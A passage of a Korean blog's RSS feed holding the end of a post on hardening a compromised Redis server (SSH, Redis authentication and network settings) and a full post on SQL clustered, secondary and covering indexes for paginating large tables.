&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://www.forensic-artifacts.com/osint-analysis/cri12&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;http://www.forensic-artifacts.com/osint-analysis/cri12&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1750508623905&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;디지털 포렌식 아티팩트 &amp;amp; 증거 분석 기법 공유 | 인섹시큐리티&quot; data-og-description=&quot;Redis 서버 해킹 사례 Key, Value 구조의 비정형 데이터를 저장하고 관리하기 위한 비관계형 데이터베이스 시스템 NoSQL 기반으로 별도의 쿼리 없이 Key 값을 통해 빠르게 데이터를 가져올 수 있음 디&quot; data-og-host=&quot;www.forensic-artifacts.com&quot; data-og-source-url=&quot;http://www.forensic-artifacts.com/osint-analysis/cri12&quot; data-og-url=&quot;http://www.forensic-artifacts.com/osint-analysis/cri12&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/rAYCs/hyZcjd3Mjg/BrLbxn4kNmHWTw9opg2XEK/img.png?width=1680&amp;amp;height=931&amp;amp;face=0_0_1680_931,https://scrap.kakaocdn.net/dn/nmzio/hyZbsWtwwM/czKpLjXIJikFIfDx8euPM1/img.png?width=1603&amp;amp;height=819&amp;amp;face=0_0_1603_819,https://scrap.kakaocdn.net/dn/dipYqJ/hyY70UQsQ3/K8bLyRCKbZ5mewW67Bk4D1/img.png?width=1645&amp;amp;height=672&amp;amp;face=0_0_1645_672&quot;&gt;&lt;a href=&quot;http://www.forensic-artifacts.com/osint-analysis/cri12&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;http://www.forensic-artifacts.com/osint-analysis/cri12&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/rAYCs/hyZcjd3Mjg/BrLbxn4kNmHWTw9opg2XEK/img.png?width=1680&amp;amp;height=931&amp;amp;face=0_0_1680_931,https://scrap.kakaocdn.net/dn/nmzio/hyZbsWtwwM/czKpLjXIJikFIfDx8euPM1/img.png?width=1603&amp;amp;height=819&amp;amp;face=0_0_1603_819,https://scrap.kakaocdn.net/dn/dipYqJ/hyY70UQsQ3/K8bLyRCKbZ5mewW67Bk4D1/img.png?width=1645&amp;amp;height=672&amp;amp;face=0_0_1645_672');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;디지털 포렌식 아티팩트 &amp;amp; 증거 분석 기법 공유 | 인섹시큐리티&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Redis 서버 해킹 사례 Key, Value 구조의 비정형 데이터를 저장하고 관리하기 위한 비관계형 데이터베이스 시스템 NoSQL 기반으로 별도의 쿼리 없이 Key 값을 통해 빠르게 데이터를 가져올 수 있음 디&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.forensic-artifacts.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Problem&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Redis 포트 외부 노출 (Docker의 자동 포트 바인딩)&lt;/li&gt;
&lt;li&gt;Redis 패스워드 미설정&lt;/li&gt;
&lt;li&gt;공인 IP 직접 노출 구조&lt;/li&gt;
&lt;li&gt;SSH&amp;nbsp;보안&amp;nbsp;설정&amp;nbsp;미강화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Solution&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;포맷 이후 &lt;b&gt;보안 강화&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;226&quot; data-start=&quot;207&quot; data-ke-size=&quot;size23&quot;&gt;  1. SSH 보안 강화&lt;/h3&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;584&quot; data-start=&quot;228&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;584&quot; data-start=&quot;264&quot;&gt;
&lt;tr data-end=&quot;332&quot; data-start=&quot;264&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;285&quot; data-start=&quot;264&quot;&gt;&lt;b&gt;Root 로그인 완전 차단&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;332&quot; data-start=&quot;285&quot; data-col-size=&quot;md&quot;&gt;PermitRootLogin no 설정으로 root 계정 직접 로그인 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;449&quot; data-start=&quot;333&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;351&quot; data-start=&quot;333&quot;&gt;&lt;b&gt;키 기반 인증만 허용&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;449&quot; data-start=&quot;351&quot; data-col-size=&quot;md&quot;&gt;PasswordAuthentication no, ChallengeResponseAuthentication no, UsePAM no 설정으로 공개키 인증만 허용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;531&quot; data-start=&quot;450&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;466&quot; data-start=&quot;450&quot;&gt;&lt;b&gt;로그인 시도 제한&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;531&quot; data-start=&quot;466&quot; data-col-size=&quot;md&quot;&gt;ClientAliveInterval과 ClientAliveCountMax 조정으로 유휴 연결 제한 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;584&quot; data-start=&quot;532&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;546&quot; data-start=&quot;532&quot;&gt;&lt;b&gt;로그 모니터링&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;584&quot; data-start=&quot;546&quot; data-col-size=&quot;md&quot;&gt;SSH 로그 확인을 통해 침입자 IP 확인 및 추적 시도 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;589&quot; data-start=&quot;586&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-end=&quot;615&quot; data-start=&quot;591&quot; data-ke-size=&quot;size23&quot;&gt;  2. Redis 보안 설정 강화&lt;/h3&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 84px;&quot; border=&quot;1&quot; data-end=&quot;929&quot; data-start=&quot;617&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;715&quot; data-start=&quot;653&quot;&gt;
&lt;td style=&quot;height: 19px;&quot; data-col-size=&quot;sm&quot; data-end=&quot;670&quot; data-start=&quot;653&quot;&gt;&lt;b&gt;비밀번호 인증 설정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot; data-end=&quot;715&quot; data-start=&quot;670&quot; data-col-size=&quot;md&quot;&gt;requirepass 설정으로 Redis 접속 시 인증 필요하도록 구성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;777&quot; data-start=&quot;716&quot;&gt;
&lt;td style=&quot;height: 19px;&quot; data-col-size=&quot;sm&quot; data-end=&quot;732&quot; data-start=&quot;716&quot;&gt;&lt;b&gt;보호 모드 활성화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot; data-end=&quot;777&quot; data-start=&quot;732&quot; data-col-size=&quot;md&quot;&gt;protected-mode yes 적용으로 외부 접속 차단 기본값 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;861&quot; data-start=&quot;778&quot;&gt;
&lt;td style=&quot;height: 19px;&quot; data-col-size=&quot;sm&quot; data-end=&quot;795&quot; data-start=&quot;778&quot;&gt;&lt;b&gt;불필요한 포트 제거&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot; data-end=&quot;861&quot; data-start=&quot;795&quot; data-col-size=&quot;md&quot;&gt;Docker Compose에서 ports: 6379:6379 제거 또는 127.0.0.1:6379로 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;934&quot; data-start=&quot;931&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-end=&quot;970&quot; data-start=&quot;936&quot; data-ke-size=&quot;size23&quot;&gt;  3. 네트워크 구조 변경 (공인 IP 노출 해소)&lt;/h3&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 86px;&quot; border=&quot;1&quot; data-end=&quot;1249&quot; data-start=&quot;972&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1249&quot; data-start=&quot;1008&quot;&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;1070&quot; data-start=&quot;1008&quot;&gt;
&lt;td style=&quot;height: 19px;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1021&quot; data-start=&quot;1008&quot;&gt;&lt;b&gt;공유기 도입&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot; data-end=&quot;1070&quot; data-start=&quot;1021&quot; data-col-size=&quot;md&quot;&gt;기존 공인 IP 직결 구조 대신, 공유기를 도입하여 NAT 및 방화벽 구조로 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;1121&quot; data-start=&quot;1071&quot;&gt;
&lt;td style=&quot;height: 19px;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1086&quot; data-start=&quot;1071&quot;&gt;&lt;b&gt;사설 IP 할당&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot; data-end=&quot;1121&quot; data-start=&quot;1086&quot; data-col-size=&quot;md&quot;&gt;서버에는 사설 IP만 할당되도록 구성하여 외부 노출 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;1182&quot; data-start=&quot;1122&quot;&gt;
&lt;td style=&quot;height: 19px;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1138&quot; data-start=&quot;1122&quot;&gt;&lt;b&gt;포트포워딩 최소화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot; data-end=&quot;1182&quot; data-start=&quot;1138&quot; data-col-size=&quot;md&quot;&gt;외부 서비스가 필요한 포트 하나만 포워딩하여 &lt;span style=&quot;color: #6164c6;&quot;&gt;&lt;b&gt;최소 개방 정책 적용&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;1249&quot; data-start=&quot;1183&quot;&gt;
&lt;td style=&quot;height: 19px;&quot; data-col-size=&quot;sm&quot; data-end=&quot;1199&quot; data-start=&quot;1183&quot;&gt;&lt;b&gt;방화벽 설정 강화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot; data-end=&quot;1249&quot; data-start=&quot;1199&quot; data-col-size=&quot;md&quot;&gt;공유기 및 서버의 방화벽(UFW 또는 iptables) 설정으로 비필요한 접근 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>이슈 해결</category>
      <author>cob</author>
      <guid isPermaLink="true">https://cocococo.tistory.com/280</guid>
      <comments>https://cocococo.tistory.com/entry/%EC%84%9C%EB%B2%84-Redis-%EC%95%85%EC%84%B1-%EC%BD%94%EB%93%9C-%EC%82%BD%EC%9E%85backup14-%EB%B0%8F-%ED%95%B4%ED%82%B9-%EB%8C%80%EC%9D%91#entry280comment</comments>
      <pubDate>Sat, 21 Jun 2025 21:44:05 +0900</pubDate>
    </item>
    <item>
      <title>[빅데이터 / RDBMS] Clustered, Secondary, Covering Index 개념 및 빅데이터 페이징 처리 방법</title>
      <link>https://cocococo.tistory.com/entry/%EB%B9%85%EB%8D%B0%EC%9D%B4%ED%84%B0-RDBMS-Clustered-Secondary-Covering-Index-%EA%B0%9C%EB%85%90-%EB%B0%8F-%EB%B9%85%EB%8D%B0%EC%9D%B4%ED%84%B0-%ED%8E%98%EC%9D%B4%EC%A7%95-%EC%B2%98%EB%A6%AC-%EB%B0%A9%EB%B2%95</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;대용량 데이터에서 페이징 처리는 데이터 양에 따라 시간이 오래 걸릴 수 있다. 이를 해결하는 방법 중 하나는 데이터베이스 샤딩(Sharding)과 분산 처리이지만, 우선적으로 인덱스를 잘 이해하고 쿼리를 최적화하는 방법이 중요하다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 클러스터(Clustered) 인덱스&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-1) 특징 / 장단점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;360&quot; data-start=&quot;180&quot;&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;360&quot; data-start=&quot;193&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;240&quot; data-start=&quot;193&quot;&gt;&lt;b&gt;클러스터드 인덱스&lt;/b&gt;는 &lt;b&gt;데이터가 물리적으로 저장되는 순서&lt;/b&gt;를 결정한다.&lt;/li&gt;
&lt;li data-end=&quot;292&quot; data-start=&quot;243&quot;&gt;테이블의 &lt;b&gt;기본 키(primary key)&lt;/b&gt; 또는 &lt;b&gt;유니크 키&lt;/b&gt;로 생성.&lt;/li&gt;
&lt;li data-end=&quot;357&quot; data-start=&quot;295&quot;&gt;&lt;b&gt;클러스터드 인덱스&lt;/b&gt;를 사용할 경우, 해당 인덱스에 의해 데이터를 &lt;b&gt;물리적으로 정렬&lt;/b&gt;하여 저장.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;442&quot; data-start=&quot;361&quot;&gt;&lt;b&gt;장점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;442&quot; data-start=&quot;373&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;439&quot; data-start=&quot;373&quot;&gt;기본 키(primary key)나 유니크한 컬럼을 사용하여 데이터를 조회할 때 &lt;b&gt;빠른 검색 성능&lt;/b&gt;을 제공.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;569&quot; data-start=&quot;443&quot;&gt;&lt;b&gt;단점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;569&quot; data-start=&quot;455&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;494&quot; data-start=&quot;455&quot;&gt;한 테이블에는 &lt;b&gt;하나의 클러스터드 인덱스&lt;/b&gt;만 있을 수 있다.&lt;/li&gt;
&lt;li data-end=&quot;569&quot; data-start=&quot;497&quot;&gt;클러스터드 인덱스를 자주 수정하는 경우, 데이터의 물리적 위치를 다시 정렬해야 하므로 &lt;b&gt;성능에 영향을 미칠 수 있다&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-2) 사용&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;기본 키로 설정하면 자동으로 클러스터 인덱스가 설정됩니다. 아래 예시는 ARTICLE_ID를 클러스터 인덱스로 설정한 예시이다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1741424374338&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CREATE TABLE ARTICLE (
    ARTICLE_ID BIGINT NOT NULL PRIMARY KEY,
    TITLE VARCHAR(100) NOT NULL,
    CONTENT VARCHAR(3000) NOT NULL,
    BOARD_ID BIGINT NOT NULL,
    WRITER_ID BIGINT NOT NULL,
    CREATE_AT DATETIME NOT NULL,
    MODIFIED_AT DATETIME NOT NULL
);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 세컨더리(Secondary) 인덱스&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-1) 특징 / 장단점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;746&quot; data-start=&quot;610&quot;&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;746&quot; data-start=&quot;623&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;673&quot; data-start=&quot;623&quot;&gt;&lt;b&gt;세컨더리 인덱스&lt;/b&gt;는 &lt;b&gt;클러스터드 인덱스가 아닌 다른 컬럼&lt;/b&gt;에 대해 생성.&lt;/li&gt;
&lt;li data-end=&quot;743&quot; data-start=&quot;676&quot;&gt;이 인덱스는 &lt;b&gt;테이블의 데이터를 정렬하지 않으며&lt;/b&gt;, 대신 &lt;b&gt;인덱스 페이지에 값과 해당 기본 키&lt;/b&gt;를 저장.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;821&quot; data-start=&quot;747&quot;&gt;&lt;b&gt;장점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;821&quot; data-start=&quot;759&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;818&quot; data-start=&quot;759&quot;&gt;기본 키 외에도 &lt;b&gt;자주 검색되는 컬럼&lt;/b&gt;에 대해 인덱스를 생성하여 검색 성능을 향상시킬 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;939&quot; data-start=&quot;822&quot;&gt;&lt;b&gt;단점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;939&quot; data-start=&quot;834&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;939&quot; data-start=&quot;834&quot;&gt;&lt;b&gt;두 번의 조회&lt;/b&gt;가 필요하다. 첫 번째로 세컨더리 인덱스를 통해 &lt;b&gt;기본 키&lt;/b&gt;를 얻고, 두 번째로 기본 키를 사용하여 &lt;b&gt;클러스터드 인덱스&lt;/b&gt;에서 실제 데이터를 조회해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-2) 사용&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;BOARD_ID와 ARTICLE_ID로 세컨더리 인덱스를 생성합니다. ARTICLE_ID는 시간 순서에 따라 생성되는 컬럼이기 때문에, BOARD_ID와 ARTICLE_ID를 조합하여 정렬된 데이터가 만들어집니다.&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;  CREATE_AT컬럼이 아닌 ARTICLE_ID가 시간 순서라고 말한 이유는 ARTICLE_ID 컬럼은 데이터 분산 환경을 고려해 시퀀스를 할당하는 SnowFlake 기법으로 시간 순서에 따라 만들어지는 컬럼이기 때문이다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1741424118925&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-- 세컨더리 인덱스 생성
CREATE INDEX IDX_BOARD_ID_ARTICLE_ID ON ARTICLE(BOARD_ID ASC, ARTICLE_ID DESC);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-3001608230251687&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 커버링(Covering) 인덱스&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3-1) 특징 / 장단점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1180&quot; data-start=&quot;978&quot;&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1180&quot; data-start=&quot;990&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1046&quot; data-start=&quot;990&quot;&gt;&lt;b&gt;커버링 인덱스&lt;/b&gt;는 &lt;b&gt;쿼리에서 필요한 모든 컬럼&lt;/b&gt;을 &lt;b&gt;인덱스에 포함&lt;/b&gt;시킨 인덱스입니다.&lt;/li&gt;
&lt;li data-end=&quot;1104&quot; data-start=&quot;1049&quot;&gt;즉, 해당 인덱스만으로 쿼리에서 요청된 데이터를 &lt;b&gt;모든 컬럼을 포함해&lt;/b&gt; 반환할 수 있습니다.&lt;/li&gt;
&lt;li data-end=&quot;1177&quot; data-start=&quot;1107&quot;&gt;&lt;b&gt;쿼리 성능&lt;/b&gt;을 최적화하기 위해, 자주 사용되는 컬럼들을 인덱스에 포함시켜서 &lt;b&gt;디스크 I/O를 줄일 수 있습니다&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1281&quot; data-start=&quot;1181&quot;&gt;&lt;b&gt;장점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1281&quot; data-start=&quot;1193&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1278&quot; data-start=&quot;1193&quot;&gt;&lt;b&gt;쿼리 성능을 최적화&lt;/b&gt;하며, &lt;b&gt;디스크 접근 횟수를 줄이는&lt;/b&gt; 효과가 있습니다. 데이터베이스는 인덱스에서 바로 필요한 데이터를 얻을 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1353&quot; data-start=&quot;1282&quot;&gt;&lt;b&gt;단점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1353&quot; data-start=&quot;1294&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1353&quot; data-start=&quot;1294&quot;&gt;인덱스 크기가 커질 수 있기 때문에 &lt;b&gt;메모리 사용&lt;/b&gt;과 &lt;b&gt;디스크 공간&lt;/b&gt;에 영향을 줄 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3-2) 사용&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;세컨더리 인덱스로 설정된 값을 조회할 때, Using Index 방식으로 인덱스의 데이터만으로 조회가 가능하다. 클러스터 인덱스를 거치지 않기 때문에 빠르게 조회할 수 있다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1741425119370&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT BOARD_ID, ARTICLE_ID FROM ARTICLE
WHERE BOARD_ID = 1
ORDER BY ARTICLE_ID DESC
LIMIT 30 OFFSET 159999;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 응용 : 빅데이터 조회&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;커버링 인덱스로 빠르게 조회한 30건의 데이터에 대해서만 ARTICLE_ID를 조인하여 데이터를 추출하면 빠르게 조회된다. 이렇게 함으로써 디스크 접근 횟수를 줄이고 성능을 최적화할 수 있다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1741425354759&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM (
    SELECT ARTICLE_ID FROM ARTICLE
    WHERE BOARD_ID = 1
    ORDER BY ARTICLE_ID DESC
    LIMIT 30 OFFSET 159999
) T LEFT JOIN ARTICLE ON T.ARTICLE_ID = ARTICLE.ARTICLE_ID;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>SQL</category>
      <category>SQL</category>
      <category>빅데이터</category>
      <category>인덱스</category>
      <category>페이징</category>
      <author>cob</author>
      <guid isPermaLink="true">https://cocococo.tistory.com/279</guid>
